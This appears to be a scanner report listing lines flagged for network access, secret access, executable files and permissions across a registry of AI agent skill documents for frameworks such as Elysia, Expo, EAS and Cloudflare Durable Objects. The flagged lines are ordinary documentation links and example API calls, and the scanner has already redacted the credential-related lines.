    | Review storage gates, external I/O races, transactions, or schema initialization | [Rules of Durable Objects](https://developers.cloudflare.com/durable-objects/best-practices/rules-of-durable-objects/index.md); [SQLite storage API](https:
  • Network accessline 12
    | Configure class lifecycle changes | [Class exports](https://developers.cloudflare.com/durable-objects/reference/durable-objects-migrations/index.md); [Legacy class migrations](https://developers.cloudflare.com/durable-objects/reference/du
  • Network accessline 13
    | Set placement hints or jurisdiction constraints | [Data location](https://developers.cloudflare.com/durable-objects/reference/data-location/index.md) | | Create stubs, invoke RPC, or use HTTP handlers | [Invoke methods](https://developers
  • Network accessline 14
    | Create stubs, invoke RPC, or use HTTP handlers | [Invoke methods](https://developers.cloudflare.com/durable-objects/best-practices/create-durable-object-stubs-and-send-requests/index.md); [Namespace API](https://developers.cloudflare.com/
  • Network accessline 15
    | Schedule per-object work and handle retries | [Alarms](https://developers.cloudflare.com/durable-objects/api/alarms/index.md) |
  • Network accessline 16
    | Restore WebSocket connection state after hibernation | [Use WebSockets](https://developers.cloudflare.com/durable-objects/best-practices/websockets/index.md) |
  • Network accessline 17
    | Handle exceptions, restarts, and shutdowns | [Error handling](https://developers.cloudflare.com/durable-objects/best-practices/error-handling/index.md); [Object lifecycle](https://developers.cloudflare.com/durable-objects/concepts/durable

packages/autoskills/skills-registry/durable-objects/references/testing.md

  • Network accessline 7
    | Task | Documentation | |------|---------------| | Install compatible packages, configure Vitest and Wrangler, generate test types, run tests | [Write your first test](https://developers.cloudflare.com/workers/testing/vitest-integration/wr
  • Network accessline 8
    |------|---------------| | Install compatible packages, configure Vitest and Wrangler, generate test types, run tests | [Write your first test](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index
  • Network accessline 9
    | Install compatible packages, configure Vitest and Wrangler, generate test types, run tests | [Write your first test](https://developers.cloudflare.com/workers/testing/vitest-integration/write-your-first-test/index.md) |
  • Network accessline 10
    | Migrate an existing pool-based suite | [Migrate to Vitest plugin](https://developers.cloudflare.com/workers/testing/vitest-integration/migration-guides/migrate-to-vitest-plugin/index.md) |
  • Network accessline 11
    | Configure bindings, runtime options, or multiple Workers | [Vitest configuration](https://developers.cloudflare.com/workers/testing/vitest-integration/configuration/index.md) |
  • Network accessline 12
    | Test RPC, Worker HTTP routes, instance separation, SQLite storage, and alarms | [Testing Durable Objects](https://developers.cloudflare.com/durable-objects/examples/testing-with-durable-objects/index.md) |
  • Network accessline 13
    | Inspect internals, enumerate instances, or trigger scheduled alarms with test helpers | [Test APIs](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md) |
  • Network accessline 14
    | Choose state cleanup and concurrency behavior | [Isolation and concurrency](https://developers.cloudflare.com/workers/testing/vitest-integration/isolation-and-concurrency/index.md) |

packages/autoskills/skills-registry/durable-objects/references/workers.md

  • Access to secretsline 95
    [Credential-related source omitted]
  • Network accessline 106
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 107
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 116
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 117
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 293
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 294
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 318
    [Credential-related source omitted]
  • Network accessline 324
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 325
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 326
    [Credential-related source omitted]

packages/autoskills/skills-registry/eas-app-stores/SKILL.md

  • Network accessline 10
    > **EAS service - costs apply.** Cloud builds use EAS plan resources, and EAS services have free-tier and paid-plan limits. Apple Developer and Google Play memberships are separate. Check https://expo.dev/pricing for the requested service.

packages/autoskills/skills-registry/eas-app-stores/references/app-store-metadata.md

  • Network accessline 67
    "releaseNotes": "What's new in this version...",         "promoText": "Limited time offer!",         "privacyPolicyUrl": "https://example.com/privacy",
  • Network accessline 68
    "promoText": "Limited time offer!",         "privacyPolicyUrl": "https://example.com/privacy",         "supportUrl": "https://example.com/support",
  • Network accessline 69
    "privacyPolicyUrl": "https://example.com/privacy",
  • Network accessline 70
    "supportUrl": "https://example.com/support",
  • Network accessline 71
    "marketingUrl": "https://example.com"
  • Network accessline 289
    // Fetch translations from CMS/localization service   const translations = await fetch(
  • Network accessline 290
    const translations = await fetch(
  • Network accessline 291
    "https://api.example.com/app-store-copy"
  • Network accessline 448
    Install the [Expo Tools extension](https://marketplace.visualstudio.com/items?itemName=expo.vscode-expo-tools) for:

packages/autoskills/skills-registry/eas-app-stores/references/ios-app-store.md

  • Network accessline 24
    1. **Apple Developer Account** - Enroll at [developer.apple.com](https://developer.apple.com)
  • Network accessline 161
    EAS Submit uploads the binary to App Store Connect. Public distribution continues through the app version's App Review and release flow, as described in the [EAS Submit guide](https://docs.expo.dev/submit/ios/).
  • Network accessline 163
    1. Open the correct app and iOS version in App Store Connect. In its Build section, select the exact processed version/build you verified. Reuse an eligible TestFlight build when its code, icon, and configuration are ready for production; b
  • Network accessline 164
    2. Complete the required listing and review information: screenshots, description, support/privacy URLs, age rating, privacy declarations, export compliance, reviewer contact/login, and pricing/availability as applicable. Resolve the versio
  • Network accessline 165
    3. Choose the requested release timing: manual release, automatic release after approval, or automatic release no earlier than a chosen date. Approval is still required for the date-based option. 4. Click **Add for Review**, inspect the dra
  • Network accessline 166
    4. Click **Add for Review**, inspect the draft submission, then **Submit for Review**. Adding to a draft alone does not send it to Apple. Handle review messages and verify the resulting status. See [Apple's submission steps](https://develop
  • Network accessline 167
    5. After approval, follow the selected release timing. For manual release, the version waits in **Pending Developer Release** until **Release This Version** is completed. Verify availability in the intended storefronts before reporting it l

packages/autoskills/skills-registry/eas-app-stores/references/native-ios.md

  • Network accessline 3
    Use this path when the app runs SwiftUI or UIKit and the task is to build or distribute it with EAS. Adding React Native screens is a different task. [EAS Build supports native projects without Expo or React Native](https://docs.expo.dev/bu
  • Network accessline 48
    The [default iOS worker](https://github.com/expo/eas-cli/blob/main/packages/build-tools/src/builders/ios.ts) skips prebuild for checked-in native projects but still runs `pod install`. For an app with no pods, a minimal `Podfile` can serve 
  • Network accessline 57
    Use the app's real deployment target and target name. This does not add React Native pods. If the project must avoid CocoaPods or has a different layout, use a [custom EAS build](https://docs.expo.dev/custom-builds/get-started/) or archive/
  • Network accessline 61
    Select the actual shared scheme. Set `ios.image` from the [current build-image list](https://docs.expo.dev/build-reference/infrastructure/) when a particular Xcode/SDK is required. Use explicit build configurations; `developmentClient: true
  • Network accessline 102
    EAS remote versioning increments a counter. The [native version updater](https://github.com/expo/eas-cli/blob/main/packages/eas-cli/src/build/ios/version.ts) writes `CFBundleVersion` to the target's explicit `INFOPLIST_FILE`. A generated pl
  • Network accessline 139
    The default icon should be 1024×1024 with no alpha channel, even if every pixel looks opaque. Preserve transparency in dark variants and Icon Composer layers; follow [Apple's guidance for each appearance](https://developer.apple.com/documen
  • Network accessline 163
    Complete the [public release steps in App Store Connect](ios-app-store.md#complete-the-public-release): select the processed build, finish the listing/privacy/review information, submit for App Review, and apply the requested release timing

packages/autoskills/skills-registry/eas-app-stores/references/play-store.md

  • Network accessline 5
    1. **Google Play Console Account** - Register at [play.google.com/console](https://play.google.com/console)

packages/autoskills/skills-registry/eas-app-stores/references/testflight.md

  • Network accessline 45
    [Apple's TestFlight overview](https://developer.apple.com/help/app-store-connect/test-a-beta-version/testflight-overview/) describes tester limits and beta review. Processing, compliance, group assignment and invitations affect availability
  • Network accessline 62
    Use [EAS Submit for iOS](https://docs.expo.dev/submit/ios/) for current CLI/configuration guidance, and [Apple's internal-tester guide](https://developer.apple.com/help/app-store-connect/test-a-beta-version/add-internal-testers/) for group 

packages/autoskills/skills-registry/eas-hosting/SKILL.md

  • Network accessline 10
    > **EAS service - costs apply.** EAS Hosting is a paid Expo Application Services product with free-tier limits; production deploys use your plan's request and bandwidth allowance. See https://expo.dev/pricing. Authoring API routes and expor
  • Network accessline 145
    const response = await fetch("https://api.openai.com/v1/chat/completions", {
  • Access to secretsline 149
    [Credential-related source omitted]
  • Network accessline 210
    This starts a local server at `http://localhost:8081` with full API route support.
  • Network accessline 215
    curl http://localhost:8081/api/hello
  • Network accessline 216
    curl -X POST http://localhost:8081/api/users -H "Content-Type: application/json" -d '{"name":"Test"}'
  • Access to secretsline 249
    [Credential-related source omitted]
  • Network accessline 272
    # https://docs.expo.dev/eas/workflows/syntax/#deploy
  • Network accessline 319
    // Use fetch instead of node-fetch const response = await fetch("https://api.example.com");
  • Network accessline 320
    const response = await fetch("https://api.example.com");
  • Access to secretsline 346
    [Credential-related source omitted]
  • Network accessline 358
    // From React Native components const response = await fetch("/api/hello");
  • Network accessline 359
    const response = await fetch("/api/hello");
  • Network accessline 362
    // With body const response = await fetch("/api/users", {
  • Network accessline 363
    const response = await fetch("/api/users", {
  • Network accessline 407
    const response = await fetch(
  • Network accessline 408
    [Credential-related source omitted]
  • Access to secretsline 408
    [Credential-related source omitted]

packages/autoskills/skills-registry/eas-workflows/SKILL.md

  • Broad permissionsline 1
    Read,Write,Bash(node:*),Bash(npx *eas-cli@*)
  • Network accessline 11
    > **EAS service - costs apply.** EAS Workflows run on Expo Application Services, a paid product with free-tier limits. Each workflow job consumes your plan's build/compute minutes, and jobs that build or submit also need paid Apple Develope
  • Network accessline 24
    1. **JSON Schema** — https://api.expo.dev/v2/workflows/schema    - It is NECESSARY to fetch this schema
  • Network accessline 31
    2. **Syntax Documentation** — https://raw.githubusercontent.com/expo/expo/refs/heads/main/docs/pages/eas/workflows/syntax.mdx
  • Network accessline 36
    3. **Pre-packaged Jobs** — https://raw.githubusercontent.com/expo/expo/refs/heads/main/docs/pages/eas/workflows/pre-packaged-jobs.mdx

packages/autoskills/skills-registry/eas-workflows/scripts/fetch.js

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 22
    const response = await fetch(url, {

packages/autoskills/skills-registry/eas-workflows/scripts/package.json

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elevenlabs-music/SKILL.md

  • Network accessline 11
    Generate original music from text prompts via [inference.sh](https://inference.sh) CLI.
  • Network accessline 13
    ![Music Generation](https://cloud.inference.sh/u/4mg21r6ta37mpaz6ktzwtt8krr/01jz01qvx0gdcyvhvhpfjjb6s4.png)
  • Network accessline 17
    > Requires inference.sh CLI (`belt`). [Install instructions](https://raw.githubusercontent.com/inference-sh/skills/refs/heads/main/cli-install.md)
  • Network accessline 161
    # 3. Mix together (no inference.sh app mixes audio; use ffmpeg locally) curl -L -o music.mp3 "<music-url>"
  • Network accessline 162
    curl -L -o music.mp3 "<music-url>"
  • Network accessline 163
    curl -L -o voice.mp3 "<voice-url>"

packages/autoskills/skills-registry/elevenlabs-tts/SKILL.md

  • Network accessline 11
    Premium text-to-speech with 22+ voices via [inference.sh](https://inference.sh) CLI. Each ElevenLabs model is its own app, at one price.
  • Network accessline 13
    ![ElevenLabs TTS](https://cloud.inference.sh/u/4mg21r6ta37mpaz6ktzwtt8krr/01jz00krptarq4bwm89g539aea.png)
  • Network accessline 17
    > Requires the inference.sh CLI (`belt`). [Install instructions](https://raw.githubusercontent.com/inference-sh/skills/refs/heads/main/cli-install.md)
  • Access to secretsline 209
    [Credential-related source omitted]
  • Network accessline 254
    # 2. Create talking head video belt app run bytedance/omnihuman-1-5 --input '{   "image": "https://portrait.jpg",
  • Network accessline 255
    belt app run bytedance/omnihuman-1-5 --input '{   "image": "https://portrait.jpg",   "audio": "<audio-url-from-step-1>"
  • Network accessline 256
    "image": "https://portrait.jpg",

packages/autoskills/skills-registry/elysia/SKILL.md

  • Network accessline 8
    Always consult [elysiajs.com/llms.txt](https://elysiajs.com/llms.txt) for code examples and latest API.

packages/autoskills/skills-registry/elysia/examples/basic.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/body-parser.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/complex.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 109
    .all('/all', () => 'hi') 	.listen(8080, ({ hostname, port }) => { 		console.log(`🦊 Elysia is running at http://${hostname}:${port}`)
  • Network accessline 110
    .listen(8080, ({ hostname, port }) => { 		console.log(`🦊 Elysia is running at http://${hostname}:${port}`) 	})
  • Network accessline 111
    console.log(`🦊 Elysia is running at http://${hostname}:${port}`)

packages/autoskills/skills-registry/elysia/examples/cookie.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/error.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/file.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 4
    * Example of handle single static file  *  * @see https://github.com/elysiajs/elysia-static
  • Network accessline 5
    *  * @see https://github.com/elysiajs/elysia-static  */
  • Network accessline 6
    * @see https://github.com/elysiajs/elysia-static

packages/autoskills/skills-registry/elysia/examples/guard.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/map-response.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/redirect.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/rename.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/schema.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/state.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/upload-file.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/elysia/examples/websocket.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 22
    }) 	.listen(3000, (server) => { 		console.log(`http://${server.hostname}:${server.port}`)
  • Network accessline 23
    .listen(3000, (server) => { 		console.log(`http://${server.hostname}:${server.port}`) 	})
  • Network accessline 24
    console.log(`http://${server.hostname}:${server.port}`)

packages/autoskills/skills-registry/elysia/integrations/ai-sdk.md

  • Network accessline 73
    .get('/', () => {   return fetch('https://api.openai.com/v1/chat/completions', {
  • Network accessline 74
    return fetch('https://api.openai.com/v1/chat/completions', {
  • Access to secretsline 78
    [Credential-related source omitted]

packages/autoskills/skills-registry/elysia/integrations/better-auth.md

  • Network accessline 21
    new Elysia()   .mount(auth.handler)  // http://localhost:3000/api/auth
  • Network accessline 22
    .mount(auth.handler)  // http://localhost:3000/api/auth
  • Network accessline 28
    // Mount with prefix .mount('/auth', auth.handler)  // http://localhost:3000/auth/api/auth
  • Network accessline 29
    .mount('/auth', auth.handler)  // http://localhost:3000/auth/api/auth
  • Network accessline 31
    // Customize basePath export const auth = betterAuth({   basePath: '/api'  // http://localhost:3000/auth/api
  • Network accessline 32
    export const auth = betterAuth({   basePath: '/api'  // http://localhost:3000/auth/api })
  • Network accessline 33
    basePath: '/api'  // http://localhost:3000/auth/api
  • Network accessline 82
    new Elysia()   .use(cors({     origin: 'http://localhost:3001',
  • Network accessline 83
    .use(cors({     origin: 'http://localhost:3001',     methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  • Network accessline 84
    origin: 'http://localhost:3001',

packages/autoskills/skills-registry/elysia/integrations/cloudflare-worker.md

  • Network accessline 37
    wrangler dev # http://localhost:8787
  • Network accessline 38
    # http://localhost:8787
  • Network accessline 72
    Access: - `http://localhost:8787/kyuukurarin.mp4`
  • Network accessline 73
    - `http://localhost:8787/kyuukurarin.mp4`
  • Network accessline 74
    - `http://localhost:8787/static/mika.webp`

packages/autoskills/skills-registry/elysia/integrations/drizzle.md

  • Network accessline 93
    /**  * @lastModified 2025-02-04  * @see https://elysiajs.com/recipe/drizzle.html#utility
  • Network accessline 94
    * @lastModified 2025-02-04  * @see https://elysiajs.com/recipe/drizzle.html#utility  */
  • Network accessline 95
    * @see https://elysiajs.com/recipe/drizzle.html#utility

packages/autoskills/skills-registry/elysia/integrations/nuxt.md

  • Network accessline 61
    See [nuxt-elysia](https://github.com/tkesgar/nuxt-elysia) for more config.

packages/autoskills/skills-registry/elysia/integrations/react-email.md

  • Network accessline 134
    See [React Email Integrations](https://react.email/docs/integrations/overview).

packages/autoskills/skills-registry/elysia/integrations/tanstack-start.md

  • Network accessline 20
    const handle = ({ request }: { request: Request }) => app.fetch(request)

packages/autoskills/skills-registry/elysia/integrations/vercel.md

  • Network accessline 42
    {   "$schema": "https://openapi.vercel.sh/vercel.json",
  • Network accessline 43
    "$schema": "https://openapi.vercel.sh/vercel.json",
  • Network accessline 54
    ## Troubleshooting Vercel has zero config for Elysia. For additional config, see [Vercel docs](https://vercel.com/docs/frameworks/backend/elysia).
  • Network accessline 55
    Vercel has zero config for Elysia. For additional config, see [Vercel docs](https://vercel.com/docs/frameworks/backend/elysia).

packages/autoskills/skills-registry/elysia/metadata.json

  • Network accessline 4
    "date": "20 Jan 2026",   "abstract": "Create backend with ElysiaJS, a type-safe, high-performance framework.",   "references": ["https://elysiajs.com/llms.txt"]
  • Network accessline 5
    "abstract": "Create backend with ElysiaJS, a type-safe, high-performance framework.",   "references": ["https://elysiajs.com/llms.txt"] }
  • Network accessline 6
    "references": ["https://elysiajs.com/llms.txt"]

packages/autoskills/skills-registry/elysia/patterns/mvc.md

  • Network accessline 128
    it('should work', async () => { 		const response = await app 			.handle(new Request('http://localhost/'))
  • Network accessline 129
    const response = await app 			.handle(new Request('http://localhost/')) 			.then((x) => x.text())
  • Network accessline 130
    .handle(new Request('http://localhost/'))
  • Network accessline 243
    ## Model Model or [DTO (Data Transfer Object)](https://en.wikipedia.org/wiki/Data_transfer_object) is handle by [Elysia.t (Validation)](/essential/validation.html#elysia-type).
  • Network accessline 244
    Model or [DTO (Data Transfer Object)](https://en.wikipedia.org/wiki/Data_transfer_object) is handle by [Elysia.t (Validation)](/essential/validation.html#elysia-type).

packages/autoskills/skills-registry/elysia/plugins/graphql-apollo.md

  • Network accessline 74
    This plugin extends Apollo's [ServerRegistration](https://www.apollographql.com/docs/apollo-server/api/apollo-server/#options) (which is `ApolloServer`'s' constructor parameter).

packages/autoskills/skills-registry/elysia/plugins/graphql-yoga.md

  • Network accessline 79
    This plugin extends [GraphQL Yoga's createYoga options, please refer to the GraphQL Yoga documentation](https://the-guild.dev/graphql/yoga-server/docs) with inlining `schema` config to root.

packages/autoskills/skills-registry/elysia/plugins/jwt.md

  • Network accessline 44
    ## Config This plugin extends config from [jose](https://github.com/panva/jose).
  • Network accessline 45
    This plugin extends config from [jose](https://github.com/panva/jose).
  • Network accessline 95
    ### iss The issuer claim identifies the principal that issued the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.1)
  • Network accessline 96
    The issuer claim identifies the principal that issued the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.1)
  • Network accessline 103
    The claims in a JWT are normally statements about the subject as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.2)
  • Network accessline 108
    Each principal intended to process the JWT MUST identify itself with a value in the audience claim as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.3)
  • Network accessline 110
    ### jti JWT ID claim provides a unique identifier for the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.7)
  • Network accessline 111
    JWT ID claim provides a unique identifier for the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.7)
  • Network accessline 113
    ### nbf The "not before" claim identifies the time before which the JWT must not be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.5)
  • Network accessline 114
    The "not before" claim identifies the time before which the JWT must not be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.5)
  • Network accessline 116
    ### exp The expiration time claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.4)
  • Network accessline 117
    The expiration time claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.4)
  • Network accessline 122
    This claim can be used to determine the age of the JWT as per [RFC7519](https://www.rfc-editor.org/rfc/rfc7519#section-4.1.6)
  • Network accessline 124
    ### b64 This JWS Extension Header Parameter modifies the JWS Payload representation and the JWS Signing input computation as per [RFC7797](https://www.rfc-editor.org/rfc/rfc7797).
  • Network accessline 125
    This JWS Extension Header Parameter modifies the JWS Payload representation and the JWS Signing input computation as per [RFC7797](https://www.rfc-editor.org/rfc/rfc7797).
  • Network accessline 130
    This parameter allows originators to explicitly signal a change of key to recipients as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.4)
  • Network accessline 132
    ### x5t (X.509 certificate SHA-1 thumbprint) header parameter is a base64url-encoded SHA-1 digest of the DER encoding of the X.509 certificate [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign
  • Network accessline 133
    (X.509 certificate SHA-1 thumbprint) header parameter is a base64url-encoded SHA-1 digest of the DER encoding of the X.509 certificate [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign the JWS
  • Network accessline 135
    ### x5c (X.509 certificate chain) header parameter contains the X.509 public key certificate or certificate chain [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign the JWS as per [RFC7515](htt
  • Network accessline 136
    (X.509 certificate chain) header parameter contains the X.509 public key certificate or certificate chain [RFC5280](https://www.rfc-editor.org/rfc/rfc5280) corresponding to the key used to digitally sign the JWS as per [RFC7515](https://www
  • Network accessline 138
    ### x5u (X.509 URL) header parameter is a URI [RFC3986](https://www.rfc-editor.org/rfc/rfc3986) that refers to a resource for the X.509 public key certificate or certificate chain [RFC5280] corresponding to the key used to digitally sign th
  • Network accessline 139
    (X.509 URL) header parameter is a URI [RFC3986](https://www.rfc-editor.org/rfc/rfc3986) that refers to a resource for the X.509 public key certificate or certificate chain [RFC5280] corresponding to the key used to digitally sign the JWS as
  • Network accessline 144
    The keys MUST be encoded as a JWK Set [JWK] as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.2)
  • Network accessline 149
    This is intended for use by the application when more than one kind of object could be present in an application data structure that can contain a JWS as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.9)
  • Network accessline 154
    This is intended for use by the application when more than one kind of object could be present in the JWS Payload as per [RFC7515](https://www.rfc-editor.org/rfc/rfc7515#section-4.1.9)

packages/autoskills/skills-registry/elysia/plugins/openapi.md

  • Network accessline 212
    ### documentation OpenAPI documentation information @see https://spec.openapis.org/oas/v3.0.3.html
  • Network accessline 214
    @see https://spec.openapis.org/oas/v3.0.3.html

packages/autoskills/skills-registry/elysia/plugins/opentelemetry.md

  • Network accessline 52
    new BatchSpanProcessor(       new OTLPTraceExporter({         url: 'https://api.axiom.co/v1/traces',
  • Network accessline 53
    new OTLPTraceExporter({         url: 'https://api.axiom.co/v1/traces',         headers: {
  • Network accessline 54
    url: 'https://api.axiom.co/v1/traces',
  • Access to secretsline 56
    [Credential-related source omitted]

packages/autoskills/skills-registry/elysia/references/bun-fullstack-dev-server.md

  • Network accessline 6
    Example: [elysia-fullstack-example](https://github.com/saltyaom/elysia-fullstack-example)
  • Network accessline 66
    4. Navigate to `http://localhost:3000/public`.

packages/autoskills/skills-registry/elysia/references/deployment.md

  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Network accessline 134
    [Credential-related source omitted]
  • Network accessline 136
    CORS_ORIGIN=https://example.com
  • Network accessline 174
    // vercel.json {   "$schema": "https://openapi.vercel.sh/vercel.json",
  • Network accessline 175
    {   "$schema": "https://openapi.vercel.sh/vercel.json",   "bunVersion": "1.x"
  • Network accessline 176
    "$schema": "https://openapi.vercel.sh/vercel.json",
  • Network accessline 283
    .use(opentelemetry({     serviceName: 'my-service',     endpoint: 'http://localhost:4318'
  • Network accessline 284
    serviceName: 'my-service',     endpoint: 'http://localhost:4318'   }))
  • Network accessline 285
    endpoint: 'http://localhost:4318'
  • Network accessline 355
    })   .use(cors({     origin: process.env.CORS_ORIGIN || 'http://localhost:3000'
  • Network accessline 356
    .use(cors({     origin: process.env.CORS_ORIGIN || 'http://localhost:3000'   }))
  • Network accessline 357
    origin: process.env.CORS_ORIGIN || 'http://localhost:3000'

packages/autoskills/skills-registry/elysia/references/route.md

  • Network accessline 89
    // Redirect     return redirect('https://...', 302)
  • Network accessline 90
    return redirect('https://...', 302)
  • Network accessline 243
    // Programmatic test app.handle(new Request('http://localhost/'))
  • Network accessline 244
    app.handle(new Request('http://localhost/'))

packages/autoskills/skills-registry/elysia/references/testing.md

  • Network accessline 21
    const res = await app.handle(       new Request('http://localhost/')
  • Network accessline 22
    new Request('http://localhost/')
  • Network accessline 42
    const res = await app.handle(     new Request('http://localhost/user/123')
  • Network accessline 43
    new Request('http://localhost/user/123')
  • Network accessline 62
    const res = await app.handle(     new Request('http://localhost/user', {
  • Network accessline 63
    new Request('http://localhost/user', {
  • Network accessline 128
    it('should login successfully', async () => {     const res = await authModule.handle(       new Request('http://localhost/auth/login', {
  • Network accessline 129
    const res = await authModule.handle(       new Request('http://localhost/auth/login', {         method: 'POST',
  • Network accessline 130
    new Request('http://localhost/auth/login', {
  • Network accessline 147
    it('should reject invalid credentials', async () => {     const res = await authModule.handle(       new Request('http://localhost/auth/login', {
  • Network accessline 148
    const res = await authModule.handle(       new Request('http://localhost/auth/login', {         method: 'POST',
  • Network accessline 149
    new Request('http://localhost/auth/login', {
  • Network accessline 165
    it('should return 401 for unauthenticated profile request', async () => {     const res = await authModule.handle(       new Request('http://localhost/auth/profile')
  • Network accessline 166
    const res = await authModule.handle(       new Request('http://localhost/auth/profile')     )
  • Network accessline 167
    new Request('http://localhost/auth/profile')
  • Network accessline 234
    const res = await testApp.handle(       new Request('http://localhost/users')
  • Network accessline 235
    new Request('http://localhost/users')
  • Network accessline 256
    const res = await app.handle(     new Request('http://localhost/protected', {
  • Network accessline 257
    new Request('http://localhost/protected', {
  • Network accessline 282
    // Valid request   const validRes = await app.handle(     new Request('http://localhost/user', {
  • Network accessline 283
    const validRes = await app.handle(     new Request('http://localhost/user', {       method: 'POST',
  • Network accessline 284
    new Request('http://localhost/user', {
  • Network accessline 295
    // Invalid request (negative age)   const invalidRes = await app.handle(     new Request('http://localhost/user', {
  • Network accessline 296
    const invalidRes = await app.handle(     new Request('http://localhost/user', {       method: 'POST',
  • Network accessline 297
    new Request('http://localhost/user', {

packages/autoskills/skills-registry/emailAndPassword/SKILL.md

  • Network accessline 62
    const { data, error } = await authClient.signUp.email({   callbackURL: "https://example.com/callback", // absolute URL with origin
  • Network accessline 63
    callbackURL: "https://example.com/callback", // absolute URL with origin
  • Network accessline 162
    body: {     email: "john.doe@example.com", // required     redirectTo: "https://example.com/reset-password",
  • Network accessline 163
    email: "john.doe@example.com", // required     redirectTo: "https://example.com/reset-password",   },
  • Network accessline 164
    redirectTo: "https://example.com/reset-password",
  • Network accessline 172
    const { data, error } = await authClient.requestPasswordReset({   email: "john.doe@example.com", // required   redirectTo: "https://example.com/reset-password",
  • Network accessline 173
    email: "john.doe@example.com", // required   redirectTo: "https://example.com/reset-password", });
  • Network accessline 174
    redirectTo: "https://example.com/reset-password",

packages/autoskills/skills-registry/expo-data-fetching/SKILL.md

  • Network accessline 57
    const fetchUser = async (userId: string) => {   const response = await fetch(`https://api.example.com/users/${userId}`);
  • Network accessline 58
    const response = await fetch(`https://api.example.com/users/${userId}`);
  • Network accessline 71
    const createUser = async (userData: UserData) => {   const response = await fetch("https://api.example.com/users", {
  • Network accessline 72
    const response = await fetch("https://api.example.com/users", {
  • Network accessline 184
    const fetchWithErrorHandling = async (url: string, options?: RequestInit) => {   try {     const response = await fetch(url, options);
  • Network accessline 186
    const response = await fetch(url, options);
  • Access to secretsline 237
    [Credential-related source omitted]
  • Network accessline 249
    return fetch(url, {
  • Network accessline 298
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 299
    EXPO_PUBLIC_API_URL=https://api.example.com
  • Network accessline 305
    const fetchUsers = async () => {   const response = await fetch(`${API_URL}/users`);
  • Network accessline 306
    const response = await fetch(`${API_URL}/users`);
  • Network accessline 314
    // .env.development EXPO_PUBLIC_API_URL=http://localhost:3000
  • Network accessline 315
    EXPO_PUBLIC_API_URL=http://localhost:3000
  • Network accessline 317
    // .env.production EXPO_PUBLIC_API_URL=https://api.production.com
  • Network accessline 318
    EXPO_PUBLIC_API_URL=https://api.production.com
  • Network accessline 331
    export const apiClient = {   get: async <T,>(path: string): Promise<T> => {     const response = await fetch(`${BASE_URL}${path}`);
  • Network accessline 332
    get: async <T,>(path: string): Promise<T> => {     const response = await fetch(`${BASE_URL}${path}`);     if (!response.ok) throw new Error(`HTTP ${response.status}`);
  • Network accessline 333
    const response = await fetch(`${BASE_URL}${path}`);
  • Network accessline 338
    post: async <T,>(path: string, body: unknown): Promise<T> => {     const response = await fetch(`${BASE_URL}${path}`, {
  • Network accessline 339
    const response = await fetch(`${BASE_URL}${path}`, {
  • Access to secretsline 410
    [Credential-related source omitted]
  • Network accessline 425
    const data = await fetch(url).then((r) => r.json());
  • Network accessline 431
    const response = await fetch(url);

packages/autoskills/skills-registry/expo-data-fetching/references/expo-router-loaders.md

  • Network accessline 76
    export async function loader() {   const response = await fetch("https://api.example.com/posts");
  • Network accessline 77
    const response = await fetch("https://api.example.com/posts");
  • Network accessline 125
    ) => {   const id = params.id as string;   const response = await fetch(`https://api.example.com/posts/${id}`);
  • Network accessline 127
    const response = await fetch(`https://api.example.com/posts/${id}`);
